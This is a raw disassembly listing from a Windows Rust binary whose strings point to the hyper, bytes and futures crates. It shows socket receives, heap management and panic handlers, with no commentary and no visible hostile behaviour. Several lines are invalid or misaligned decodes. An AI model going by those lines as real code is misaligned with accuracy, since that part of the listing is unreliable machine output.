lea rax, str._r_n_nC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srclib.rsc
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], 2
mov rcx, qword [rbp + 0xd08]
lea rdx, [rbp + 0x8c0]
call fcn.1400e8990
xor esi, esi
mov rax, qword [rbp + 0xd10]
cmp qword [rax], 0
je 0x1400d701f
mov rax, qword [rbp + 0xc98]
cmp qword [rax], 0
jne 0x1400d701f
cmp byte [r12 + 0x98], 1
mov eax, 5
sbb rax, 0
mov qword [r12 + 0x88], rax
xor esi, esi
jmp 0x1400d701f
mov qword [rbp + 0x890], r9
movdqa xmmword [rbp + 0x600], xmm6
mov dword [rbp + 0x610], 0
lea rax, [rbp + 0x600]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x890]
mov qword [rbp + 0x500], rax
lea rax, [0x140061050]
mov qword [rbp + 0x508], rax
lea rax, [0x1401ab788]
mov qword [rbp + 0x8c0], rax
mov qword [rbp + 0x8c8], 2
mov qword [rbp + 0x8e0], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], 1
lea rcx, [rbp + 0x190]
lea rdx, [0x1401aa790]
lea r8, [rbp + 0x8c0]
mov rdi, r9
call fcn.140059e20
test al, al
jne 0x1400d80bb
mov eax, dword [rbp + 0x610]
lea rcx, [rbp + 0xae0]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rbp + 0x600]
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xac0], xmm0
mov qword [rbp + 0xad0], rdi
mov qword [rbp + 0xad8], rsi
lea rax, [0x1401d5fd8]
mov qword [rbp + 0xaf8], rax
mov qword [rbp + 0xb00], 7
cmp byte [r12 + 0x148], 0
je 0x1400d6a79
mov rax, qword [rbp + 0xb00]
mov qword [rbp + 0x900], rax
movaps xmm0, xmmword [rbp + 0xac0]
mov rax, qword [rbp + 0xad0]
mov rcx, qword [rbp + 0xad8]
movaps xmm1, xmmword [rbp + 0xae0]
mov rdx, qword [rbp + 0xaf0]
mov qword [rbp + 0x8f0], rdx
mov rdx, qword [rbp + 0xaf8]
mov qword [rbp + 0x8f8], rdx
movaps xmmword [rbp + 0x8e0], xmm1
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], rcx
movaps xmmword [rbp + 0x8c0], xmm0
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x138]
cmp rax, rcx
jne 0x1400d6924
mov rcx, qword [rbp + 0xd00]
call fcn.1400e8e50
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x138]
mov rdx, qword [r12 + 0x130]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [r12 + 0x120]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 2
movdqa xmm0, xmmword [rbp + 0x8c0]
movdqa xmm1, xmmword [rbp + 0x8d0]
movaps xmm2, xmmword [rbp + 0x8e0]
movaps xmm3, xmmword [rbp + 0x8f0]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
movups xmmword [rcx + rdx + 0x28], xmm2
movups xmmword [rcx + rdx + 0x38], xmm3
mov r8, qword [rbp + 0x900]
mov qword [rcx + rdx + 0x48], r8
inc rax
mov qword [r12 + 0x138], rax
jmp 0x1400d6fed
movdqu xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x8c0], xmm0
mov qword [rbp + 0x8d0], r9
mov qword [rbp + 0x8d8], rsi
mov rcx, qword [rbp + 0xd08]
lea rdx, [rbp + 0x8c0]
call fcn.1400e8ef0
jmp 0x1400d6fed
movdqu xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x8c0], xmm0
mov qword [rbp + 0x8d0], r9
mov qword [rbp + 0x8d8], rsi
mov rcx, qword [rbp + 0xd08]
lea rdx, [rbp + 0x8c0]
call fcn.1400e8ef0
mov eax, 5
jmp 0x1400d6fff
mov rcx, qword [rbp + 0xac8]
mov rax, qword [rbp + 0xad0]
call qword [rax + 0x28]
test al, al
movzx edi, byte [rbp + 0xd47]
lea rbx, [rbp + 0x8c0]
mov r14, qword [rbp + 0xab8]
je 0x1400d6ccc
mov rsi, qword [r12 + 0x1d0]
cmp qword [rsi], 0
je 0x1400d6a5d
lea rcx, [rsi + 8]
call fcn.1400aca70
mov qword [rsi], 0
mov r9d, 2
mov sil, 1
mov rax, qword [rbp + 0xc78]
jmp 0x1400d6db6
mov r9, rdi
movzx r14d, byte [rbp + 0xaf2]
movzx esi, byte [rbp + 0xaf3]
mov eax, esi
sub al, r14b
movzx r12d, al
add r12, rdi
jb 0x1400d7ee0
mov rcx, r12
add rcx, 7
jb 0x1400d7ee0
mov rax, qword [rbp + 0xd28]
mov rdx, qword [rax + 0x118]
test rdx, rdx
je 0x1400d6bd5
mov r8, qword [rax + 0x108]
mov rax, qword [rax + 0x110]
sub r8, rax
cmp r8, rcx
jae 0x1400d6bd5
mov rdi, rax
sub rdi, rdx
jb 0x1400d83b0
mov rax, qword [rbp + 0xd28]
mov qword [rax + 0x110], 0
je 0x1400d6b29
mov rcx, qword [rax + 0x100]
add rdx, rcx
mov r8, rdi
mov qword [rbp + 0xd18], r9
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp + 0xd28]
mov r9, qword [rbp + 0xd18]
mov qword [rax + 0x110], rdi
mov qword [rax + 0x118], 0
jmp 0x1400d6bd5
mov r12, qword [rbp + 0xaf8]
mov rdi, qword [rbp + 0xb00]
test rdi, rdi
je 0x1400d6c55
mov rcx, qword [rbp + 0xd28]
mov rax, qword [rcx + 0x108]
mov r14, qword [rcx + 0x110]
sub rax, r14
cmp rax, rdi
jb 0x1400d6c30
mov rsi, qword [rbp + 0xd28]
mov rcx, qword [rsi + 0x100]
add rcx, r14
mov rdx, r12
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r14, rdi
mov qword [rsi + 0x110], r14
lea rcx, [rbp + 0xac0]
mov rdx, rdi
call 0x1400e8cb0
movzx r14d, byte [rbp + 0xaf2]
movzx esi, byte [rbp + 0xaf3]
mov eax, esi
sub al, r14b
movzx r12d, al
mov r9, qword [rbp + 0xad0]
add r12, r9
jb 0x1400d7ee0
test r12, r12
je 0x1400d6b40
cmp sil, r14b
jne 0x1400d6c00
mov r12, qword [rbp + 0xac8]
mov rdi, r9
test rdi, rdi
jne 0x1400d6b57
jmp 0x1400d6c55
movzx r12d, r14b
movzx edi, sil
jb 0x1400d804e
cmp sil, 0x12
ja 0x1400d8038
sub rdi, r12
lea rax, [rbp + 0xae0]
add r12, rax
test rdi, rdi
jne 0x1400d6b57
jmp 0x1400d6c55
mov rcx, qword [rbp + 0xd08]
mov rdx, r14
mov r8, rdi
call fcn.14015cc80
mov rax, qword [rbp + 0xd28]
mov r14, qword [rax + 0x110]
jmp 0x1400d6b78
mov rax, qword [rbp + 0xac0]
mov rdx, qword [rbp + 0xac8]
lea rcx, [rbp + 0xad8]
mov r8, r9
jmp 0x1400d6fe3
cmp r9, r10
mov rax, r12
mov r12, r10
cmovb r12, r9
mov rdx, qword [rax + 0x118]
test rdx, rdx
je 0x1400d6ce7
mov rcx, qword [rax + 0x108]
mov rax, qword [rax + 0x110]
sub rcx, rax
cmp rcx, r12
jae 0x1400d6ce7
mov rdi, rax
sub rdi, rdx
jb 0x1400d83b0
mov rsi, qword [rbp + 0xd28]
mov qword [rsi + 0x110], 0
jne 0x1400d6ec9
xor edi, edi
jmp 0x1400d6ef6
cmp qword [rbp + 0xac0], 0
je 0x1400d6d0a
mov ecx, 1
mov rax, qword [rbp + 0xad0]
mov rdx, rax
jmp 0x1400d6d33
mov r14, qword [rbp + 0x608]
test r12, r12
je 0x1400d6ec1
mov rax, qword [rbp + 0xd28]
mov rdi, qword [rax + 0x110]
jmp 0x1400d6f30
mov rdx, qword [rbp + 0xac8]
mov rax, qword [rbp + 0xad0]
mov rcx, rbx
call qword [rax + 0x30]
mov rdx, qword [rbp + 0x8d0]
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [rbp + 0x8c8]
test rcx, rcx
sete cl
cmp rdx, rax
setne bl
or bl, cl
mov rcx, qword [rbp + 0xc78]
cmove rcx, rax
mov rax, rcx
movaps xmm0, xmmword [rbp + 0xac0]
movaps xmm1, xmmword [rbp + 0xad0]
movaps xmmword [rbp + 0x8d0], xmm1
movaps xmmword [rbp + 0x8c0], xmm0
mov rsi, qword [r12 + 0x1d0]
cmp qword [rsi], 0
je 0x1400d6d88
lea rcx, [rsi + 8]
mov r15, rax
call fcn.1400aca70
mov rax, r15
movzx r9d, bl
mov qword [rsi], 1
movdqa xmm0, xmmword [rbp + 0x8c0]
movdqa xmm1, xmmword [rbp + 0x8d0]
movdqu xmmword [rsi + 8], xmm0
movdqu xmmword [rsi + 0x18], xmm1
xor esi, esi
lea rbx, [rbp + 0x8c0]
mov qword [rbp + 0xc78], rax
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r12
lea r8, [rbp + 0x720]
call fcn.1400e3f40
mov rax, qword [rbp + 0x8c0]
cmp rax, 2
je 0x1400d6e5e
mov rdx, qword [rbp + 0x8c8]
movzx ecx, byte [rbp + 0x8d0]
test rax, rax
je 0x1400d6e0c
test rdx, rdx
jne 0x1400d6e0c
cmp cl, 1
mov eax, 5
sbb rax, 0
mov rdx, r14
mov ecx, edi
jmp 0x1400d6e2e
lea r9, [rbp + 0x900]
mov r8d, dword [r9 - 0x2f]
mov r9d, dword [r9 - 0x2c]
mov dword [rbp + 0x603], r9d
mov dword [rbp + 0x600], r8d
mov r14, rdx
mov edi, ecx
mov qword [r12 + 0x88], rax
mov qword [r12 + 0x90], rdx
mov byte [r12 + 0x98], cl
mov eax, dword [rbp + 0x600]
mov ecx, dword [rbp + 0x603]
mov rdx, qword [rbp + 0xab0]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov qword [rbp + 0xab8], r14
mov byte [rbp + 0xd47], dil
test sil, sil
je 0x1400d6e9f
lea rcx, [rbp + 0xac0]
call fcn.1400aca70
mov rsi, qword [rbp + 0xcf0]
cmp byte [r12 + 0x1d8], 0
mov rdi, qword [rbp + 0xce0]
je 0x1400d5d6a
jmp 0x1400d5d12
mov rsi, qword [rbp + 0xcf0]
cmp byte [r12 + 0x1d8], 0
mov rdi, qword [rbp + 0xce0]
je 0x1400d5d6a
jmp 0x1400d5d12
mov r8, r9
jmp 0x1400d6fd2
mov rcx, qword [rsi + 0x100]
add rdx, rcx
mov r8, rdi
mov qword [rbp + 0xd18], r9
mov r14, r10
call sub.VCRUNTIME140.dll_memmove
mov r10, r14
mov r9, qword [rbp + 0xd18]
mov qword [rsi + 0x110], rdi
mov qword [rsi + 0x118], 0
mov r14, qword [rbp + 0x608]
jmp 0x1400d6f30
mov rcx, qword [rbp + 0xd08]
mov rdx, rdi
mov r8, r12
call fcn.14015cc80
mov rax, qword [rbp + 0xd28]
mov rdi, qword [rax + 0x110]
jmp 0x1400d6f54
mov qword [rbp + 0xcc0], r10
mov qword [rbp + 0xd18], r9
mov rax, qword [rbp + 0xd28]
mov rax, qword [rax + 0x108]
sub rax, rdi
cmp rax, r12
jb 0x1400d6f0a
mov rsi, qword [rbp + 0xd28]
mov rcx, qword [rsi + 0x100]
add rcx, rdi
mov rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rdi, r12
mov qword [rsi + 0x110], rdi
mov r10, qword [rbp + 0xcc0]
sub r10, r12
jb 0x1400d7f80
mov qword [rbp + 0x890], r12
mov rax, qword [rbp + 0xd18]
mov r8, rax
sub r8, r12
jb 0x1400d7f0b
add r14, r12
cmp r8, r10
mov r12, r10
cmovb r12, r8
mov r9, r8
test r12, r12
jne 0x1400d6f30
mov qword [rbp + 0x620], r10
mov qword [rbp + 0x610], r8
mov qword [rbp + 0x608], r14
mov rax, qword [rbp + 0x600]
lea rcx, [rbp + 0x618]
mov rdx, r14
call qword [rax + reloc.WS2_32.dll_recv]
mov r12, qword [rbp + 0xd28]
cmp byte [r12 + 0x98], 1
mov eax, 5
sbb rax, 0
movdqu xmm0, xmmword [rbp + 0x8c0]
mov rcx, qword [rbp + 0xc98]
movdqu xmmword [rcx], xmm0
mov rcx, qword [rbp + 0xd10]
mov qword [rcx], rax
mov sil, 1
test rbx, rbx
lea rbx, [rbp + 0x8c0]
jne 0x1400d7059
cmp qword [rbp + 0x240], 0
je 0x1400d7059
mov rax, qword [rbp + 0x248]
test rax, rax
je 0x1400d7099
mov rdx, qword [rbp + 0x250]
mov r8, qword [rbp + 0x258]
lea rcx, [rbp + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
test sil, sil
je 0x1400d7118
cmp qword [r15], 0
mov rsi, qword [rbp + 0xcf0]
je 0x1400d7077
mov rcx, r13
call fcn.1400aca70
mov qword [r15], 0
cmp byte [r12 + 0x1d8], 0
mov rdi, qword [rbp + 0xce0]
mov ebp, 0xce0
je 0x1400d5d6a
jmp 0x1400d5d12
mov rdi, qword [rbp + 0x250]
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400d70d7
mov r14, qword [rdi + 0x60]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400d70d7
cmp qword [r14 + 0x10], 0x11
jb 0x1400d70c5
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rdi], 2
lea rbx, [rbp + 0x8c0]
ror byte [rax], 0
invalid
je 0x1400d70fd
cmp qword [rdi + 0x18], 0
je 0x1400d70fd
mov r8, qword [rdi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test sil, sil
jne 0x1400d7062
mov rsi, qword [rbp + 0xcf0]
cmp byte [r12 + 0x1d8], 0
mov rdi, qword [rbp + 0xce0]
je 0x1400d5d6a
jmp 0x1400d5d12
cmp byte [r12 + 0xc0], 0
jne 0x1400d5cf9
cmp qword [r12 + 0x158], 0
jne 0x1400d5cf9
mov rcx, rbx
mov rdx, qword [rbp + 0xcb0]
mov r8, r14
call fcn.1400e3d40
mov rax, qword [rbp + 0x8c0]
cmp rax, 2
je 0x1400d5cf2
mov rcx, qword [rbp + 0x8c8]
test rax, rax
jne 0x1400d71f0
test rcx, rcx
mov r10, qword [rbp + 0xd38]
jne 0x1400d5cf9
mov qword [r12 + 0x70], 4
mov byte [r12 + 0xca], 2
call fcn.140086f20
mov r10, qword [rbp + 0xd38]
mov r14, rax
mov rcx, qword [rbp + 0xd30]
jmp 0x1400d7224
mov rcx, rbx
mov rdx, qword [rbp + 0xcb0]
mov r8, r14
call fcn.1400e3d40
mov rax, qword [rbp + 0x8c0]
cmp rax, 2
je 0x1400d5cf2
mov rcx, qword [rbp + 0x8c8]
test rax, rax
je 0x1400d7263
mov qword [r12 + 0x70], 4
mov qword [r12 + 0x88], 5
mov byte [r12 + 0xca], 2
call fcn.140087000
mov r14, rax
mov rcx, qword [rbp + 0xd30]
mov r10, qword [rbp + 0xd38]
test r14, r14
je 0x1400d5cf9
jmp 0x1400d73fa
mov byte [r12 + 0x1d8], 1
mov qword [r12 + 0x70], 4
mov qword [r12 + 0x88], 5
mov byte [r12 + 0xca], 2
jmp 0x1400d5cf2
mov r14, rax
jmp 0x1400d7224
test rcx, rcx
je 0x1400d72d8
call fcn.140086f90
jmp 0x1400d7213
mov byte [r12 + 0x1a0], 1
jmp 0x1400d729e
lea rcx, [rbp + 0x340]
call fcn.1400b7da0
lea rcx, [rbp + 0xac0]
call fcn.140074130
lea rcx, [rbp + 0xba0]
call fcn.1400aca70
mov byte [r12 + 0x1d8], 1
mov qword [r12 + 0x70], 4
mov qword [r12 + 0x88], 5
mov byte [r12 + 0xca], 2
mov rdi, qword [rbp + 0xce0]
mov rsi, qword [rbp + 0xcf0]
jmp 0x1400d5d12
cmp byte [r12 + 0xca], 0
je 0x1400d72ed
call fcn.140086f20
mov r14, rax
jmp 0x1400d72f0
xor r14d, r14d
mov rcx, qword [rbp + 0xd30]
mov r10, qword [rbp + 0xd38]
mov qword [r12 + 0x70], 4
mov byte [r12 + 0xca], 2
jmp 0x1400d7224
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d735f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 1
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d73b6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7efa
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7efa
mov qword [rax], rsi
mov qword [r14], rax
lea rax, [0x1401d2df0]
mov qword [r14 + 8], rax
invalid
cmp qword [r15], 0
je 0x1400d73ec
mov rcx, r13
call fcn.1400aca70
mov qword [r15], 0
mov rcx, qword [rbp + 0xd30]
movzx ebx, byte [r12 + 0x1c8]
mov byte [r12 + 0x1c8], 3
cmp bl, 3
je 0x1400d74e1
mov rax, qword [rbp + 0xd20]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rbp + 0x8d0], xmm1
movdqa xmmword [rbp + 0x8c0], xmm0
mov byte [rbp + 0x8e0], bl
mov rcx, qword [rbp + 0xce8]
add byte [rbx + 0x3498b01], cl
mov dword [rbp + 0x8e1], eax
mov dword [rbp + 0x8e4], ecx
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d747f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
lea rdx, [0x1401d5fe4]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
call fcn.1400b7f90
mov rcx, qword [rbp + 0x8d0]
mov edx, ebx
mov r8, rdi
call fcn.140086bd0
lea rcx, [rbp + 0x8c0]
call fcn.1400d84c0
mov rcx, qword [rbp + 0xd30]
mov qword [rbp + 0x8c8], r14
mov qword [rbp + 0x8c0], 3
lea rdx, [rbp + 0x8c0]
call fcn.1400d8620
mov rbx, rax
test rax, rax
jne case.0x1400d7733.2
jmp case.0x1400d7733.0
mov rax, qword [rbx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + reloc.WS2_32.dll_recv]
jmp case.0x1400d7733.3
cmp byte [r12 + 0x1d8], 0
jne 0x1400d75fb
cmp qword [r12 + 0x70], 4
jne case.0x1400d7733.3
mov rbx, qword [r12 + 8]
cmp qword [r12], 0
mov qword [r12], 0
je 0x1400d788c
add al, byte [rax]
invalid
mov r14, qword [r12 + 0xb8]
mov qword [r12 + 0xb8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test r14, r14
je case.0x1400d7733.1
test rbx, rbx
je 0x1400d73fa
mov rax, qword [rbx + 0x30]
mov rcx, rax
test cl, 4
jne 0x1400d766a
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rbx + 0x30], rdx
jne 0x1400d763d
and ecx, 5
cmp ecx, 1
jne 0x1400d766a
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rbx]
jne 0x1400d73f3
mov rcx, rbx
call fcn.140087480
jmp 0x1400d73f3
lea rcx, [rbp + 0x8c0]
mov r8d, 0x1e0
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [r12], 3
cmp dword [rbp + 0x8c0], 2
jae 0x1400d80e8
lea rcx, [rbp - 0x50]
lea rdi, [rbp + 0x8c0]
mov r8d, 0x1e0
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xac0]
mov r8d, 0x178
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x720]
mov r8d, 0xa8
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x7a0]
mov r12, qword [rbp + 0x7a8]
mov rdi, qword [rbp + 0x7b8]
test dil, 1
jne 0x1400d77f1
lea r15, [0x1401e17a0]
jmp 0x1400d7906
mov r15, qword [rbp + 0x7b0]
shr rdi, 5
sub r14, rdi
lea rsi, [rdi + r12]
cmp r12, r15
jne 0x1400d782e
test rsi, rsi
je 0x1400d78cf
test r14b, 1
jne 0x1400d78e3
mov rax, r14
or rax, 1
lea r15, [0x1401a9358]
jmp 0x1400d78ed
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d785a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ff3
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ff3
add r15, rdi
mov qword [rax], r14
mov qword [rax + 8], r15
mov qword [rax + 0x10], 1
lea r15, [0x140169c10]
jmp 0x1400d78ed
mov rcx, qword [r12 + 0xe8]
mov rax, qword [r12 + 0xf0]
mov rdx, qword [rbp + 0xce0]
call qword [rax + 0x30]
test rax, rax
mov rcx, qword [rbp + 0xd30]
jne case.0x1400d7733.3
test rdx, rdx
je 0x1400d7c76
mov rcx, rdx
call fcn.140087140
mov r14, rax
jmp 0x1400d73f3
lea r15, [0x1401d3af8]
lea r14, [0x140204680]
xor eax, eax
xor esi, esi
jmp 0x1400d78ed
lea r15, [0x1401a9370]
mov rax, r14
mov qword [rbp + 0x420], rdi
mov r12, rsi
sub r12, rdi
jb 0x1400d825d
add r14, rdi
mov rdi, rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x610], rax
movups xmm0, xmmword [rbp + 0x738]
movaps xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x750]
call fcn.1400da560
lea rcx, [rbp + 0x8c0]
call fcn.1400da6b0
movups xmm0, xmmword [rbp + 0x128]
movups xmm1, xmmword [rbp + 0x138]
movups xmm2, xmmword [rbp + 0x148]
movups xmmword [rbp + 0x638], xmm0
movups xmmword [rbp + 0x648], xmm1
movups xmmword [rbp + 0x658], xmm2
mov qword [rbp + 0x618], r15
mov qword [rbp + 0x620], r14
mov qword [rbp + 0x628], r12
mov qword [rbp + 0x630], rdi
cmp byte [rbp + 0x178], 3
je 0x1400d7995
lea rcx, [rbp + 0x158]
call fcn.1400d84c0
lea rsi, [rbp + 0x618]
mov rdi, qword [rbp + 0x180]
cmp qword [rdi], 0
mov r12, qword [rbp + 0xd28]
je 0x1400d79b9
lea rcx, [rdi + 8]
call fcn.1400aca70
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm0, xmmword [rbp + 0x600]
movaps xmmword [rbp + 0x220], xmm0
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x230], rax
movdqu xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rsi + 0x10]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
cmp dword [rbp + 0x638], 2
je 0x1400d7a15
lea rcx, [rbp + 0x638]
call fcn.1400b7da0
lea rcx, [rbp + 0x650]
call fcn.1400c5c40
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
leave
jne 0x1400d7a4d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ff3
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ff3
mov rcx, qword [rbp + 0x230]
mov qword [rax + 0x10], rcx
movaps xmm0, xmmword [rbp + 0x220]
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [rbp + 0x200]
movdqa xmm1, xmmword [rbp + 0x210]
adc byte [rdx], al
add byte [rax], al
movdqu xmmword [rbp + 0xad0], xmm0
movdqu xmmword [rbp + 0xae0], xmm1
mov qword [rbp + 0xac0], rax
lea rax, [0x1401d80a0]
mov qword [rbp + 0xac8], rax
lea rdx, [rbp + 0xac0]
mov rcx, rbx
call fcn.140087560
xor ebx, ebx
mov rax, qword [r12]
lea rcx, [rax - 3]
cmp rcx, 2
jae 0x1400d7ae1
mov qword [r12], 4
cmp eax, 4
je 0x1400d7b1f
test rbx, rbx
jne 0x1400d7af6
jmp 0x1400d7b41
mov rcx, r12
call fcn.1400d1c60
mov qword [r12], 4
test rbx, rbx
je 0x1400d7b41
mov qword [rbp - 0x50], rbx
lea rcx, [rbp - 0x50]
call fcn.140085c60
mov rax, qword [r12]
lea rcx, [rax - 3]
cmp rcx, 3
jae 0x1400d7b39
mov qword [r12], 5
cmp rax, 5
jne 0x1400d7b49
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x28
call fcn.140160fb0
ud2
mov rcx, r12
call fcn.1400d1c60
mov qword [r12], 5
xor eax, eax
jmp 0x1400d7cf2
mov r14, rax
cmp qword [rbp + 0x240], 0
je 0x1400d73de
mov rax, qword [rbp + 0x248]
test rax, rax
je 0x1400d7c03
mov rdx, qword [rbp + 0x250]
mov r8, qword [rbp + 0x258]
lea rcx, [rbp + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400d73de
mov r14, rax
mov rax, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
mov r8, qword [rbp + 0x430]
lea rcx, [rbp + 0x438]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400d73de
mov rdi, qword [rbp + 0x250]
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400d7c40
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400d7c40
cmp qword [rsi + 0x10], 0x11
jb 0x1400d7c2e
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rdi], 2
je 0x1400d7c5f
cmp qword [rdi + 0x18], 0
je 0x1400d7c5f
mov r8, qword [rdi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400d73de
mov r14, qword [r12 + 0xb8]
mov qword [r12 + 0xb8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
test r14, r14
jne 0x1400d73fa
jmp case.0x1400d7733.0
mov al, 1
movaps xmm6, xmmword [rbp + 0xd50]
movaps xmm7, xmmword [rbp + 0xd60]
movaps xmm8, xmmword [rbp + 0xd70]
movaps xmm9, xmmword [rbp + 0xd80]
movaps xmm10, xmmword [rbp + 0xd90]
movaps xmm11, xmmword [rbp + 0xda0]
movaps xmm12, xmmword [rbp + 0xdb0]
movaps xmm13, xmmword [rbp + 0xdc0]
movaps xmm14, xmmword [rbp + 0xdd0]
movaps xmm15, xmmword [rbp + 0xde0]
add rsp, 0xe78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x890]
mov qword [rbp + 0x500], rax
lea rax, [0x140144ae0]
mov qword [rbp + 0x508], rax
lea rcx, [rbp + 0x190]
mov qword [rbp + 0x510], rcx
mov qword [rbp + 0x518], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rbp + 0x8c0]
lea r9, [rbp + 0x500]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea rcx, [0x1401d782a]
lea r8, [0x1401d7850]
mov edx, 0x23
